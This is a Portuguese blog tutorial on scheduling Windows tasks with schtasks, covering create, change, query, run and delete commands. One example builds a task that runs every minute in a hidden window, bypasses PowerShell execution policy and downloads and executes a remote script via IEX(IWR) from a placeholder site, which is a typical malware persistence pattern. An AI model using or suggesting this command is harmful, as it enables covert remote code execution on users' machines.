Agendar tarefas no Windows via terminal

Agendar tarefas no Windows via terminal

O agendamento de tarefas é uma ferramenta poderosa no Windows, permitindo a automação de processos essenciais para aumentar a eficiência e produtividade. Neste guia, exploraremos como utilizar o agendamento de tarefas via linha de comando, utilizando o binário schtasks para proporcionar maior controle sobre suas rotinas diárias.

Criar uma nova tarefa agendada

Tarefa básica

Primeiramente, vamos ver um agendamento básico que realize a execução de um script PowerShell diariamente. O comando abaixo cria uma tarefa chamada “Minha Nova Tarefa” e executa o script PowerShell C:\Scripts\Daily.ps1 diariamente às 10h.

schtasks /create /tn "Minha Nova Tarefa" /tr "powershell.exe -File C:\Scripts\Script.ps1" /sc daily /st 10:00

Tarefa que executa todo minuto sem aparecer para o usuário

Abaixo está um exemplo de comando com algumas flags adicionais para que não exiba uma janela do powershell para o usuário:

schtasks /create /sc minute /mo 1 /tn "Tarefa Todo Minuto" /tr "powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c IEX(IWR https://exemplo-siteremoto.com.br/script.ps1 -UseBasicParsing)"

Modificar uma tarefa agendada existente

Para modificar uma tarefa existente, utilize o comando schtasks /change. Por exemplo, para alterar a hora de início da tarefa “Minha Nova Tarefa” para 09:30h:

schtasks /change /tn "Minha Nova Tarefa" /st 09:30

Listar tarefas agendadas

schtasks /query /fo list

Executar uma tarefa manualmente

Eventualmente você poderá executar uma tarefa manualmente para testar, então basta executar o comando abaixo:

schtasks /run /tn "Minha Nova Tarefa"

Excluir uma tarefa

schtasks /delete /tn "Minha Nova Tarefa"

Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !

Posts relacionados

Crontab – Aprenda a agendar tarefas

Crontab – Aprenda a agendar tarefas

Com o Cron você consegue programar tarefas que serão realizadas nos dias e horários que você definir, com isso você não precisa manualmente realizar uma ação que necessita ser periódica.

Ler post completo